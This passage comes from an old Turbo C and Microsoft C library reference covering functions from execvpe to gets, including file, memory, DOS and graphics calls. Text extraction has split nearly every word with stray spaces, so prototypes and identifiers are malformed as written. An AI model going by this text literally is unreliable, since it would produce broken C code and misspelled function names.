i nt execvpe( pat hname, ar g, NULL, envp )
char *pat hname, *ar g[ ] , *envp[ ] ;

- pr ot ot ype i n pr ocess. h

- l oads and r uns chi l d pr ocesses
- pat hname sear ch based on MS- DOS sear ch al gor i t hm
o i f no ext ensi on or per i od - sear ch f or exact f i l e name -
i f not f ound, add . exe and sear ch agai n
o i f ext ensi on gi ven, sear ch onl y f or exact f i l e name
o i f per i od gi ven, sear ch f or f i l e name wi t h no ext ensi on


- ar g0 can be t he same as t he pat hname
- at l east one ar gument must be passed
- combi ned ar gument l i st cannot exceed 128 byt es
Pagina 535 di 991
- execl . . : ar g0, ar g1, . . . , ar gN passed as SEPARATE ar gument s
- execv. . : ar g[ 0] , ar g[ 1] , . . . , ar g[ N] passed as ar gument ARRAY
- execl p, execl pe, execvp, execvpe: sear ch f or chi l d i n PATH
- r et ur ns no val ue i f OK,
r et ur ns - 1, wi t h er r no set t o:

E2BI G ( t oo many ar gs)
EACCES ( per mi ssi on deni ed)
EMFI LE ( t oo many open f i l es)
ENOENT ( pat h or f i l e not f ound)
ENOEXEC ( exec f or mat er r or )
ENOMEM ( not enough memor y) .

- i f successf ul , t her e i s no r et ur n t o t he cal l er ; t he
cal l er i s ki l l ed of f

: exi t
^voi d exi t ( i nt compl et i oncode )


- pr ot ot ype i n pr ocess. h and st dl i b. h

- t er mi nat es pr ogr am, cl oses al l f i l es, buf f er ed out put i s wr i t t en,
and any r egi st er ed exi t f unct i ons ( vi a ~at exi t ~( ) ) ar e cal l ed

: _exi t
^voi d _exi t ( i nt compl et i oncode )


- pr ot ot ype i n pr ocess. h

- t er mi nat es pr ogr am, BUT doesn' t cl ose f i l es or wr i t e t he buf f er ed
out put and NO r egi st er ed exi t f unct i ons ( vi a ~at exi t ~( ) ) ar e cal l ed

: exp
^doubl e exp( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns y = e**x or HUGE_VAL on er r or

: _expand: _based: _f expand: _nexpand
% MSC: voi d *_expand( voi d *bl ock, si ze_t si ze )
% MSC: voi d f ar *_f expand( voi d f ar *bl ock, si ze_t si ze )
% MSC: voi d near *_nexpand( voi d near *bl ock, si ze_t si ze )

% MSC: voi d _based( voi d) *_bexpand( _segment seg,
% voi d _based( voi d) *bl ock, si ze_t si ze )


- pr ot ot ype i n mal l oc. h

- bl ock = poi nt er t o pr evi ousl y al l ocat ed memor y bl ock
- si ze = new si ze i n byt es
- seg = based segment val ue
- r et ur ns poi nt er t o r eal l ocat ed memor y bl ock on success or NULL
i f not ; ( _bexpand r et ur ns - 1 on f ai l ur e)

: f abs
^doubl e f abs( doubl e x )


Pagina 536 di 991
- pr ot ot ype i n mat h. h

- r et ur ns absol ut e val ue of x

: f ar cal l oc
^TC: voi d f ar *f ar cal l oc( unsi gned l ong nuni t s, unsi gned l ong uni t s )


- pr ot ot ype i n al l oc. h

- al l ocat es memor y f r omt he f ar heap f or an ar r ay of nuni t s
el ement s, each uni t s byt es l ong
- r et ur ns poi nt er t o al l ocat ed bl ock or NULL i f not enough memor y
- can al l ocat e al l of memor y & chunks bi gger t han 64K
- must use f ar poi nt er s

: f ar cor el ef t
^TC: unsi gned l ong f ar cor el ef t ( voi d )


- pr ot ot ype i n al l oc. h

- r et ur ns unused memor y i n byt es beyond hi ghest al l ocat ed bl ock

: f ar f r ee
^TC: voi d f ar f r ee( voi d f ar *bl ock )


- pr ot ot ype i n al l oc. h

- f r ees bl ock of pr evi ousl y al l ocat ed f ar memor y ( bl ock must be
al l ocat ed by ~f ar cal l oc~( ) )

: f ar r eal l oc
^TC: voi d f ar *f ar r eal l oc( voi d f ar *bl ock, unsi gned l ong newsi ze )


- pr ot ot ype i n al l oc. h ( mal l oc. h f or MS C)

- adj ust s si ze of al l ocat ed bl ock t o newsi ze, copyi ng cont ent s
t o a new l ocat i on i f necessar y
- r et ur ns poi nt er t o r eal l ocat ed bl ock or NULL on er r or

: f cvt
^char *f cvt ( doubl e val ue, i nt ndi gi t , i nt *decpt , i nt *si gn )


- pr ot ot ype i n st dl i b. h

- conver t s a f l oat i ng pt number t o a st r i ng of ndi gi t di gi t s,
r et ur ni ng poi nt er t o t hat st r i ng
- cor r ect di gi t i s r ounded f or For t r an- F f or mat out put of t he
number of di gi t s equal t o ndi gi t
- decpt i s posi t i on of deci mal poi nt ( negat i ve val ue means t o l ef t
of r et ur ned di gi t s) and si gn i s 0 i f posi t i ve, el se negat i ve

: f cl ose
^i nt f cl ose( FI LE *f p )


- pr ot ot ype i n st di o. h

- cl oses a f i l e st r eam( see ~f dopen~( ) t o conver t handl e t o st r eam)
Pagina 537 di 991
- gener al l y f l ushes buf f er s, t oo
- r et ur n code shoul d be checked. At t empt s t o del et e an open f i l e
wi l l damage t he f i l e syst em.
- r et ur ns 0 on success or EOF on er r or

: f cl oseal l
^i nt f cl oseal l ( voi d )


- pr ot ot ype i n st di o. h

- cl oses al l f i l e st r eams except st di n & st dout
- r et ur ns 0 on success or EOF on er r or

: f dopen
^FI LE *f dopen( i nt handl e, char *t ype )


- pr ot ot ype i n dos. h

- associ at es a f i l e STREAM wi t h a f i l e HANDLE
- handl e i s r et ur ned by ~cr eat ~( ) , ~dup~( ) , ~dup2~( ) or ~open~( )
- t ype must mat ch mode of t he handl e
- r et ur ns f i l e st r eamor NULL on er r or
- see ~f open~( )
: f eof
^i nt f eof ( FI LE *st r eam)


- pr ot ot ype i n st di o. h

- det ect s end of f i l e on a f i l e st r eam
- r et ur ns zer o i f NOT eof , el se nonzer o

: f er r or
^i nt f er r or ( FI LE *st r eam)


- pr ot ot ype i n st di o. h

- t est s st r eamf or r ead/ wr i t e er r or , r et ur n nonzer o i f er r or
- er r or r emai ns set unt i l ~cl ear er r ~( ) or ~r ewi nd~( ) i s cal l ed
: f f l ush
^i nt f f l ush( FI LE *f p )


- pr ot ot ype i n st di o. h

- wr i t es cont ent s of out put buf f er s associ at ed wi t h f p t o st r eam
and cl ear s i nput buf f er cont ent s; f p i s NOT cl osed
- r et ur ns 0 on success or EOF on er r or
: f get c
^i nt f get c( FI LE *f p )


- pr ot ot ype i n st di o. h

- f unct i on ( not a macr o) whi ch get s char act er f r omst r eam
- r et ur ns char ( conver t ed t o an i nt ) or EOF
- see ~get c~( )
: f get char
^i nt f get char ( voi d )

Pagina 538 di 991

- pr ot ot ype i n st di o. h

- get s char act er f r omst r eam
- same as ~f get c~( st di n)
- r et ur ns char ( conver t ed t o an i nt ) or EOF
- see ~get c~( )
: f get s
^char *f get s( char *s, i nt si ze, FI LE *f p )


- pr ot ot ype i n st di o. h

- get s a st r i ng f r oma st r eam, r eadi ng unt i l si ze - 1 char act er s
have been r ead or a newl i ne i s det ect ed
- newl i ne char act er i s r et ai ned
- r et ur ns s ar gument i f OK, el se NULL on eof or er r or

: f i l el engt h
^l ong f i l el engt h( i nt handl e )


- pr ot ot ype i n i o. h

- get s f i l e si ze i n byt es f or f i l e associ at ed wi t h handl e
- val ue r et ur ned i ncl udes ^Z i n ASCI I f i l es; val ue i s t he same as
di spl ayed i n t he DOS DI R command
- r et ur ns - 1L on er r or

: f i l eno
^i nt f i l eno( FI LE *st r eam)


- pr ot ot ype i n st di o. h

- get s f i l e handl e f or t he gi ven st r eam
- er r or r et ur n undef i ned

: f i ndf i r st : _dos_f i ndf i r st
% TC: i nt f i ndf i r st ( const char *pat h, st r uct f f bl k *f f bl k, i nt at t r )

% MSC unsi gned _dos_f i ndf i r st ( char *pat h, unsi gned at t r ,
% st r uct f i nd_t *f i l ei nf o )

- pr ot ot ype i n di r . h, al so i ncl ude dos. h ( MS C: dos. h onl y)

- get s di sk di r ect or y vi a DOS 0x4E, wher e at t r i s:

% Tur bo C Mi cr osof t C

FA_RDONLY _A_RDONLY
FA_HI DDEN _A_HI DDEN
FA_SYSTEM _A_SYSTEM
FA_LABEL _A_VOLI D
FA_DI REC _A_SUBDI R
FA_ARCH _A_ARCH

% st r uct f f bl k ( Tur bo C) st r uct f i nd_t ( MSC)
{ {
char f f _r eser ved[ 21] ; char r eser ved[ 21] ;
char f f _at t r i b; char at t r i b;
unsi gned f f _f t i me; unsi gned wr _t i me;
unsi gned f f _f dat e; unsi gned wr _dat e;
Pagina 539 di 991
l ong f f _f si ze; l ong si ze;
char f f _name[ 13] ; char name[ 13] ;
}; };

- at t r i but es can be l ogi cal l y OR' ed
- st r uct f f bl k i s def i ned i n Tur bo C' s di r . h
- st r uct f i nd_t i s def i ned i n MS C' s dos. h
- updat es ~DTA~, pr ovi si ons f or savi ng/ set t i ng DTA shoul d be made
- nor mal f i l es ar e al ways i ncl uded al ong wi t h f i l es t hat mat ch
t he r equest ed at t r i but es except when t he LABEL at t r i but e i s
r equest ed. I t ' s up t o t he pr ogr ammer t o det er mi ne whi ch
act ual l y mat ch t he r equest ed at t r i but es.
- r et ur ns 0 i f OK, - 1 i f no mat chi ng f i l es f ound or on er r or

- see ~FI LE ATTRI BUTES~, ~FI NDNEXT~, ~GETDTA~ and ~SETDTA~
: f i ndnext : _dos_f i ndnext
% TC: i nt f i ndnext ( st r uct f f bl k *f f bl k )
% MSC: unsi gned _dos_f i ndnext ( st r uct f i nd_t *f i l ei nf o )

- pr ot ot ype i n di r . h, al so i ncl ude ( MSC: dos. h onl y)

- f i ndnext updat es ~DTA~
- r et ur ns 0 i f OK, - 1 i f no mat chi ng f i l es f ound or on er r or
- get s next di sk di r ect or y vi a DOS 0x4F, af t er cal l i ng ~f i ndf i r st ~( )
- st r uct f f bl k i s def i ned i n di r . h f or Tur bo C and dos. h f or MSC

% st r uct f f bl k ( Tur bo C) st r uct f i nd_t ( MSC)
{ {
char f f _r eser ved[ 21] ; char r eser ved[ 21] ;
char f f _at t r i b; char at t r i b;
unsi gned f f _f t i me; unsi gned wr _t i me;
unsi gned f f _f dat e; unsi gned wr _dat e;
l ong f f _f si ze; l ong si ze;
char f f _name[ 13] ; char name[ 13] ;
}; };

- nor mal f i l es ar e al ways i ncl uded al ong wi t h f i l es t hat mat ch
t he r equest ed at t r i but es except when t he LABEL at t r i but e i s
r equest ed. I t ' s up t o t he pr ogr ammer t o det er mi ne whi ch
act ual l y mat ch t he r equest ed at t r i but es.
- see ~FI LE ATTRI BUTES~, ~f i ndf i r st ~( ) , ~get dt a~( ) , ~set dt a~( )
: _f l oodf i l l : _f l oodf i l l _w
% MSC: shor t f ar _f l oodf i l l _w( doubl e wx, doubl e wy, shor t bcol or )
% MSC: shor t f ar _f l oodf i l l ( shor t x, shor t y, shor t bcol or )


- pr ot ot ype i n gr aph. h

- x, y = coor di nat es
- bcol or = f i l l boundar y col or
- i f ( x, y) f al l s i nsi de a f i gur e, t he f i gur e i s f i l l ed wi t h t he
wi t h t he cur r ent f i l l col or ; i f i t f al l s out si de t he f i gur e t he
backgr ound i s f i l l ed

- r et ur ns nonzer o val ue on success or 0 on f ai l ur e

: f l oor
^doubl e f l oor ( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns l ar gest i nt eger <= x
Pagina 540 di 991

: f l ushal l
^i nt f l ushal l ( voi d )


- pr ot ot ype i n st di o. h

- same as ~f f l ush~( ) except ALL open f i l e st r eams ar e done
- r et ur ns i nt eger i ndi cat i ng number of open f i l e st r eams

: f mod
^doubl e f mod( doubl e x, doubl e y )


- pr ot ot ype i n mat h. h

- cal cul at es x modul o y, t he r emai nder of x/ y,
r et ur ni ng t he r emai nder

: f nmer ge
% TC: voi d f nmer ge( char *pat h, const char *dr i ve,
% const char *di r , const char *name, const char *ext )


- pr ot ot ype i n di r . h

- makes a f i l e name ( pat h) f r omdr i ve, di r , name, and ext
- di r can i ncl ude subdi r ect or i es
- maxi mumsi zes f or t hese st r i ngs ar e:

MAXPATH 80 pat h
MAXDRI VE 3 dr i ve - i ncl udes col on ( : )
MAXDI R 66 di r - i ncl udes l eadi ng/ t r ai l i ng backsl ashes
MAXFI LE 9 name
MAXEXT 5 ext , i ncl udi ng l eadi ng dot ( . )

- i nver t i bl e wi t h ~f nspl i t ~( )

: f nspl i t
% TC: voi d f nspl i t ( const char *pat h, char *dr i ve, char *di r ,
% char *name, char *ext )


- pr ot ot ype i n di r . h

- spl i t s a f i l e name f r ompat h i nt o dr i ve, di r , name, and ext
- di r can i ncl ude subdi r ect or i es
- maxi mumsi zes f or t hese st r i ngs ar e:

MAXPATH 80 pat h
MAXDRI VE 3 dr i ve - i ncl udes col on ( : )
MAXDI R 66 di r - i ncl udes l eadi ng/ t r ai ng backsl ashes
MAXFI LE 9 name
MAXEXT 5 ext , i ncl udi ng l eadi ng dot ( . )

- i nver t i bl e wi t h ~f nmer ge~( )

: f open
^FI LE *f open( const char *f i l ename, const char *t ype )

- pr ot ot ype i n st di o. h

- t ype i s a combi nat i on of t he f ol l owi ng:
Pagina 541 di 991

% Mode Descr i pt i on
" r " r ead t ext / bi nar y
" w" wr i t e t ext / bi nar y
" a" append t ext / bi nar y
" +" al l ow updat e access
" t " t ext f i l e
" b" bi nar y f i l e

% Read Wr i t e Append
" r t " " wt " " at " ( t ext )
" r b" " wb" " ab" ( bi nar y)
" r +" " w+" " a+" ( updat e)
" r +t " " w+t " " a+t " ( updat e t ext )
" r +b" " w+b" " a+b" ( updat e bi nar y)

r ead - r ead onl y ( unl ess " r +" )
wr i t e - cr eat e
append - seek t o end of f i l e or cr eat e f i l e

- t ext mode i nput , wi l l have CRs di scar ded
- usi ng any of t he st di o f unct i ons r esul t s i n a def aul t al l ocat i on
of 512 byt es f or t he I / O buf f er and t he i ncl usi on of t he st andar d
memor y al l ocat i on f unct i ons
- r et ur ns st r eamor NULL on er r or


: f p_of f
^unsi gned FP_OFF( voi d f ar *f pt r )


- pr ot ot ype i n dos. h

- get s of f set of f ar poi nt er f pt r
- r et ur ns unsi gned i nt eger val ue
- not avai l abl e i n ear l i er ver si ons of MS C; use t he f ol l owi ng:

#def i ne FP_OFF( f pt r ) ( ( unsi gned) ( f pt r ) )


- see ~FP_SEG~( )
: f p_seg
^unsi gned FP_SEG( voi d f ar *f pt r )


- pr ot ot ype i n dos. h

- get s segment of f ar poi nt er f pt r
- r et ur ns unsi gned i nt eger val ue
- not avai l abl e i n some ver si ons of MS C; use t he f ol l owi ng:

#def i ne FP_SEG( f pt r ) ( ( unsi gned) ( ( unsi gned l ong) ( f pt r ) >> 16) )


- see ~FP_OFF~( )
: _f pr eset
^voi d _f pr eset ( voi d )


- pr ot ot ype i n f l oat . h

- r eset s f l oat i ng poi nt mat h package, usual l y used wi t h ~si gnal ~( ) ,
~syst em~( ) , ~exec. . . ~( ) , ~spawn. . . ~( )
Pagina 542 di 991
- shoul d be cal l ed bef or e usi ng 8087/ 80287 af t er usi ng one of t he
above f unct i ons
- def i ne i dent i cal l y f or Tur bo C and MS C

: f pr i nt f
^i nt f pr i nt f ( FI LE *f p, const char *f or mat [ , ar g1, ar g2, . . . ] )


- pr ot ot ype i n st di o. h

- r et ur ns number of byt es i t at t empt ed t o wr i t e r egar dl ess of
success. To check f or a successf ul f pr i nt f cal l on a buf f er ed
st r eam, use f f l ush whi ch r et ur ns accur at e er r or i nf or mat i on.
- usi ng pr i nt f or any of t he st di o f unct i ons r esul t s i n a def aul t
al l ocat i on of 512 byt es f or t he I / O buf f er and t he i ncl usi on of
t he st andar d memor y al l ocat i on f unct i ons
- see ~pr i nt f ~( ) and ~PRI NTF SPEC~
: f put c
^i nt f put c( i nt c, FI LE *f p )


- pr ot ot ype i n st di o. h

- put s char c t o st r eamf p
- usi ng f put c or any of t he st di o f unct i ons r esul t s i n a def aul t
al l ocat i on of 512 byt es f or t he I / O buf f er and t he i ncl usi on of
t he st andar d memor y al l ocat i on f unct i ons
- r et ur ns c or EOF

: f put s
^i nt f put s( const char *s, FI LE *f p )


- pr ot ot ype i n st di o. h

- usi ng f put s or any of t he st di o f unct i ons r esul t s i n a def aul t
al l ocat i on of 512 byt es f or t he I / O buf f er and t he i ncl usi on of
t he st andar d memor y al l ocat i on f unct i ons
- see ~put s~( )
: f r ead
^si ze_t f r ead( voi d *buf , si ze_t si ze, si ze_t count , FI LE *f p )


- pr ot ot ype i n st di o. h

- r eads ( count * si ze) byt es f r omf i l e st r eam" f p"
- r et ur ns t he number of bl ocks act ual l y r ead
- t o get bet t er f eedback f r omt hi s f unct i on, t he par amet er s " si ze"
and " count " may be swapped. I f count i s 1, t hi s met hod al l ows
f r ead( ) t o r et ur n t he act ual number of byt es r ead
- usi ng f r ead or any of t he st di o f unct i ons r esul t s i n a def aul t
al l ocat i on of 512 byt es f or t he I / O buf f er and t he i ncl usi on of
t he st andar d memor y al l ocat i on f unct i ons
- r et ur ns 0 ( or shor t count ) on eof or er r or

- see ~f open~( ) ~f r ead~( ) ~set vbuf ~( )

: f r ee
^voi d f r ee( voi d *pseg )


- pr ot ot ype i n st dl i b. h, al l oc. h ( mal l oc. h f or MS C)

Pagina 543 di 991
- f r ees al l ocat ed bl ock l ocat ed at pseg
- MS C i gnor es a NULL par amet er ( see ~_f f r ee~( ) )

: _f r eect
^MSC: unsi gned _f r eect ( si ze_t si ze )


- pr ot ot ype i n mal l oc. h

- si ze = si ze of al l ocat i on i n byt es
- r et ur ns t he count of cal l s t o an al l ocat i on f unct i on a pr ogr am
can make bef or e f ai l i ng
- t est i s made i n def aul t dat a segment onl y

: f r eemem
^TC: i nt f r eemem( unsi gned seg )


- pr ot ot ype i n dos. h

- f r ees pr evi ousl y al l ocat ed DOS bl ock def i ned by seg
- r et ur ns 0 on success, - 1 on er r or er r no=ENONMEM
- MS C uses ~_dos_f r eemem~( )
- see ~I NT 21, 49~
: f r eopen
^FI LE *f r eopen( const char *f name, const char *t ype, FI LE *f p )


- pr ot ot ype i n st di o. h

- subst i t ut es named f i l e i n pl ace of open f p and cl oses or i gi nal f p
- usef ul f or changi ng f i l e at t ached t o st di n, st dout , or st der r
- r et ur ns f p on success or NULL on er r or
- see ~f open~( )
: f r exp
^doubl e f r exp( doubl e val ue, i nt ept r )


- pr ot ot ype i n mat h. h

- cal cul at es mant i ssa x ( a doubl e < 1) and n ( i nt eger ) such
t hat val ue = x * 2**n, st or i ng n i n wor d t hat ept r poi nt s

: f scanf
^i nt f scanf ( FI LE *f p, const char *f or mat , ar g1, ar g2, . . . )


- pr ot ot ype i n st di o. h

- get s f or mat t ed i nput f r oma st r eamf p


- see ~scanf ~( ) and ~SCANF SPECS~
: f seek
^i nt f seek( FI LE *f p, l ong of f set , i nt mode )


- pr ot ot ype i n st di o. h

- set s f i l e poi nt er associ at ed wi t h f p t o posi t i on whi ch i s of f set
byt es beyond f i l e l ocat i on gi ven by mode

- mode i s 0 ( begi nni ng of f i l e or SEEK_SET)
Pagina 544 di 991
1 ( cur r ent posi t i on or SEEK_CUR)
2 ( end of f i l e or SEEK_END

- di scar ds any char act er pushed back by unget c( )
- f seek( ) cl ear s eof i ndi cat or but not f i l e er r or i ndi cat or
- r et ur ns 0 i f poi nt er moved OK, nonzer o i f f i l e not opened or
i nval i d seek f or devi ce. DOS does not r epor t an er r or i f an
at t empt t o seek past EOF i s made

- see ~f t el l ~( )
: f st at
^i nt f st at ( i nt handl e, st r uct st at *buf f )


- pr ot ot ype i n st at . h

- see ~st at ~( )
: f t el l
^l ong f t el l ( FI LE *f p )


- pr ot ot ype i n st di o. h

- r et ur ns cur r ent f i l e posi t i on i n byt es f r ombegi nni ng of f i l e
or - 1L on er r or

- see ~f seek~( )
: f wr i t e
^si ze_t f wr i t e( const voi d *buf , si ze_t si ze, si ze_t count , FI LE *f p)


- pr ot ot ype i n st di o. h

- wr i t es ( count * si ze) byt es t o f i l e st r eam" f p"
- swappi ng par amet er s " si ze" and " count " can of t en pr ovi de mor e
exact f eedback ( exact l y how many byt es wer e wr i t t en)
- r et ur ns number of dat a bl ocks act ual l y wr i t t en or a shor t count
on er r or

- see ~f open~( ) ~f r ead~( ) ~set vbuf ~( )

: gcvt
^char *gcvt ( doubl e val ue, i nt ndi gi t , char *buf )


- pr ot ot ype i n st dl i b. h

- conver t s a f l oat i ng poi nt number t o a st r i ng of ndi gi t di gi t s,
st or i ng st r i ng i nt o buf and r et ur ni ng poi nt er t o t hat st r i ng
- out put s i n For t r an- F f or mat i f possi bl e, el se i n For t r an- E f or mat

: geni nt er r upt
^TC: voi d geni nt er r upt ( i nt i nt er r upt _num)


- pr ot ot ype i n dos. h

- gener at es act ual i nt er r upt f or " i nt er r upt _num" i n code
- not a t r ue f unct i on, but i nl i ne code gener at i on

: get c
^i nt get c( FI LE *f p )

Pagina 545 di 991

- pr ot ot ype i n st di o. h

- macr o whi ch r et ur ns next char act er i n f i l e st r eam" f p" or EOF
on end of f i l e or er r or

: get cbr k
^TC: i nt get cbr k( voi d )


- pr ot ot ype i n dos. h

- get s cont r ol - br eak set t i ng

- r et ur n 0 Ct r l - C i s of f
1 Ct r l - C i s on

: get ch
^i nt get ch( voi d )


- pr ot ot ype i n coni o. h

- r et ur ns next char act er f r omconsol e wi t hout echoi ng

: get char
^i nt get char ( voi d )


- pr ot ot ype i n st di o. h

- r et ur ns next char act er i n f i l e st r eamst di n or EOF on end of
f i l e or er r or
- i mpl ement ed as a macr o

: get che
^i nt get che( voi d )


- pr ot ot ype i n coni o. h

- f unct i on whi ch r et ur ns next char act er f r omconsol e WI TH echoi ng

: _get col or
^MSC: shor t f ar _get col or ( voi d )

- pr ot ot ype i n gr aph. h

- r et ur ns t he cur r ent col or number
- def aul t col or i s t he hi ghest val i d col or i n cur r ent pal et t e


: get col or : put col or
% MSC: f l agType Get Col or ( LI NE l i ne, l a *col or l i st , PFI LE pFi l e )
% MSC: voi d Put Col or ( LI NE l i ne, l a *col or l i st , PFI LE pFi l e )


- pr ot ot ype i n ext . h

- Get Col or r et ur ns nonzer o i f a col or i s at t ached t o t he l i ne;
zer o ot her wi se

: get cur di r
Pagina 546 di 991
^TC: i nt get cur di r ( i nt dr i ve, char *di r ec )


- pr ot ot ype i n di r . h

- get cur r ent di r ect or y f or speci f i ed dr i ve ( 0=def aul t , 1=A, et c)
- di r ec wi l l cont ai n di r ect or y name

- r et ur ns 0 i f OK
- 1 on er r or

: _get cur r ent posi t i on
% MSC: st r uct xycoor d f ar _get cur r ent posi t i on( voi d )
% MSC: st r uct _wxycoor d f ar _get cur r ent posi t i on_w( voi d )


- pr ot ot ype i n gr aph. h

- r et ur ns cur r ent posi t i on coor di nat es i n st r uct xycoor d f or mat

: get cwd
^char *get cwd( char *buf , i nt n )


- pr ot ot ype i n di r . h

- get s f ul l pat h name of cur r ent wor ki ng di r ect or y up t o n byt es,
pl aced i nt o buf
- r et ur ns buf poi nt er , el se NULL

: get dat e
^TC: voi d get dat e( st r uct dat e *dat ebl k )

- pr ot ot ype i n dos. h

- get s DOS dat e, f i l l i ng i t i nt o t he f ol l owi ng st r uct ur es:

st r uct dat e
{
i nt da_year ; - Year i ncl udi ng cent ur y
char da_day; - Day of t he mont h
char da_mon; - Mont h ( 1 = J an)
};

- MS C uses ~_dos_get dat e~( )
- see ~I NT 21, 2A~
: get df r ee
^TC: voi d get df r ee( unsi gned char dr i ve, st r uct df r ee *df r eep )


- pr ot ot ype i n dos. h

- f i l l s i n st r uct ur e wi t h di sk st at us i nf or mat i on.

st r uct df r ee
{
unsi gned df _avai l ; - avai l abl e cl ust er s
unsi gned df _t ot al ; - t ot al cl ust er s
unsi gned df _bsec; - byt es per sect or
unsi gned df _scl us; - sect or s per cl ust er
};

- dr i ve i s speci f i ed as A = 1, B = 2, C = 3, et c. . .
Pagina 547 di 991
- i n event of er r or , df _scl us i s set t o - 1.
- MS C uses ~_dos_get di skf r ee~( )
- see ~I NT 21, 36~
: get di sk
^TC: i nt get di sk( voi d )


- pr ot ot ype i n di r . h

- r et ur ns i nt eger dr i ve number ; 0 = A: , 1 = B: , . . .
- MS C uses ~_dos_get dr i ve~( )
- see ~I NT 21, 19~
: get dt a
^TC: char f ar *get dt a( voi d )


- pr ot ot ype i n dos. h

- r et ur ns cur r ent set t i ng of t he ~DTA~ as a f ar poi nt er
- see ~I NT 21, 2F~
: get env
^char *get env( const char *envvar )


- pr ot ot ype i n st dl i b. h

- get s st r i ng f r omenvi r onment
- MSDOS envi r onment consi st s of st r i ngs of f or menvvar =var val ue, . . .
- r et ur ns var val ue or 0 i f envvar not f ound i n envi r onment

: get f at
^TC: voi d get f at ( unsi gned char dr i ve, st r uct f at i nf o *f at bl kp )


- pr ot ot ype i n dos. h

- r et ur ns i nf or mat i on f r omt he f i l e al l ocat i on t abl e f or t he
speci f i ed dr i ve ( 0=def aul t , 1=A, et c) i nt o f at bl k
- st r uct ur e f at i nf o i s def i ned as:

st r uct f at i nf o
{
char f i _scl us; - sect or s per cl ust er
char f i _f at i d; - medi a descr i pt or byt e f r omFAT
i nt f i _ncl us; - cl ust er on di sk
i nt f i _bysec; - byt es per sect or
};

- cl osest MS C f unct i on i s ~_dos_get di skf r ee~( )
- see ~I NT 21, 1C~
: get f at d
^TC: voi d get f at d( st r uct f at i nf o *f at bl kp )


- pr ot ot ype i n dos. h

- r et ur ns i nf or mat i on f r omt he f i l e al l ocat i on t abl e f or t he
DEFAULT dr i ve i nt o f at bl k
- st r uct ur e f at i nf o i s def i ned as:

st r uct f at i nf o
{
char f i _scl us; - sect or s per cl ust er
Pagina 548 di 991
char f i _f at i d; - medi a descr i pt or byt e f r omFAT
i nt f i _ncl us; - cl ust er on di sk
i nt f i _bysec; - byt es per sect or
};

- cl osest MS C f unct i on i s ~_dos_get di skf r ee~( )
- see ~I NT 21, 1B~ ~get f at ~( )
: _get f i l l mask
^MSC: unsi gned char f ar *_get f i l l mask( unsi gned char f ar *mask )


- pr ot ot ype i n gr aph. h

- mask = r ecei ves cur r ent f i l l mask or NULL i f mask not pr esent

: get f t i me
^TC: i nt get f t i me( i nt handl e, st r uct f t i me *f t i mep )


- pr ot ot ype i n dos. h

- r et r i eves f i l e t i me and dat e f or t he f i l e associ at ed wi t h
handl e i nt o f t i mep
- st r uct ur e f t i me i s def i ned i n dos. h
- MS C uses ~_dos_get f t i me~( )
- see ~I NT 21, 57~
: _get i mage: _get i mage_w: _get i mage_wxy
% MSC: voi d f ar _get i mage( shor t x1, shor t y1, shor t x2, shor t y2,
% char huge *i mage )

% MSC: voi d f ar _get i mage_w( doubl e wx1, doubl e wy1, doubl e wx2,
% doubl e wy2, char huge *i mage )

% MSC: voi d f ar _get i mage_wxy( st r uct _wxycoor d f ar *pwxy1,
% st r uct _wxycoor d f ar *pwxy2, char huge *i mage)


- pr ot ot ype i n gr aph. h

- ( x1, y1) upper l ef t coor di nat es of r ect angl e
- ( x2, y2) l ower r i ght coor di nat es of r ect angl e
- i mage = buf f er t o r ecei ve scr een i mage

- Tur bo C uses ~get i mage~( )

: get i mage
% TC: voi d f ar get i mage( i nt l ef t , i nt t op, i nt r i ght ,
% i nt bot t om, voi d f ar *bi t map )


- pr ot ot ype i n gr aphi cs. h

- copi es vi deo dat a f r omt he scr een r ect ange t o buf f er " bi t map"
- bi t map must be l ar ge enough t o hol d ent i r e buf f er pl us 4 byt es
( 2 wor ds) f or hei ght and wi dt h i nf or mat i on. Funct i on i magesi ze( )
shoul d be used t o det er mi ne t he si ze of t he buf f er t o avoi d
over wr i t i ng adj acent memor y.

- MS C uses ~_get i mage~( )
- see ~put i mage~( ) ~i magesi ze~( )
: _get l i nest yl e
^MSC: unsi gned shor t f ar _get l i nest yl e( voi d )

Pagina 549 di 991

- pr ot ot ype i n gr aph. h

- r et ur ns cur r ent l i ne st yl e mask
- each 1 bi t r epr esent s a pi xel ( i n cur r ent col or ) i n t he l i ne
mask; each 0 r epr esent a pi xel t hat i s l ef t al one

- see ~_set l i nest yl e~( )
: _get l ogcoor d: _get vi ewcoor d
^st r uct xycoor d f ar _get l ogcoor d( shor t x, shor t y )


- pr ot ot ype i n gr aph. h

- t r ansl at es physi cal coor di nat es t o l ogi cal coor di nat es r et ur ni ng
t he r esul t i n t he f or mat :

st r uct xycoor d
{
shor t xcoor d;
shor t ycoor d;
};

- ~_get vi ewcoor d~( ) i s obsol et e; use ~_get l ogcoor d~( )
- see ~_get physcoor d~( )
: get pass
^TC: char *get pass( const char *pr ompt )


- pr ot ot ype i n coni o. h

- r eads a passwor d f r omsyst emconsol e af t er t ypi ng pr ompt ,
wi t hout echoi ng
- passwor d cannot exceed 8 char s ( not count i ng nul l t er mi nat or )

: _get physcoor d
^MSC: st r uct xycoor d f ar _get physcoor d( shor t x, shor t y )


- pr ot ot ype i n gr aph. h

- t r ansl at es l ogi cal coor di nat es t o physi cal coor di nat es r et ur ni ng
t he r esul t i n t he f or mat :

st r uct xycoor d
{
shor t xcoor d;
shor t ycoor d;
};

- see ~_get l ogcoor d~( )
: get pi d
^MSC: i nt get pi d( voi d )


- pr ot ot ype i n pr ocess. h

- r et ur ns pr ocess I D i dent i f yi ng t he cal l i ng pr ocess ( ~PSP~ segment )

- Tur bo C uses ~get psp~( )

: _get pi xel : _get pi xel _w
% MSC: shor t f ar _get pi xel ( shor t x, shor t y )
Pagina 550 di 991
% MSC: shor t f ar _get pi xel _w( doubl e wx, doubl e wy )


- pr ot ot ype i n gr aph. h

- r et ur ns pi xel val ue on success or - 1 on f ai l ur e
- Tur bo C uses ~get pi xel ~( )

: get psp
^TC: unsi gned get psp( voi d )


- pr ot ot ype i n dos. h

- r et ur ns segment addr ess of t he ~PSP~ usi ng DOS ~I NT 21, 62~
- val i d onl y f or DOS 3. x
- use gl obal var i abl e _psp t o get PSP i nst ead f or DOS 2. X
- MS C uses ~get pi d~( )

: get s
^char *get s( char *s )


- pr ot ot ype i n st di o. h

- r eads st r i ng f r omst di n unt i l newl i ne char act er i s r ead
- newl i ne char act er i s r epl aced by \ 0
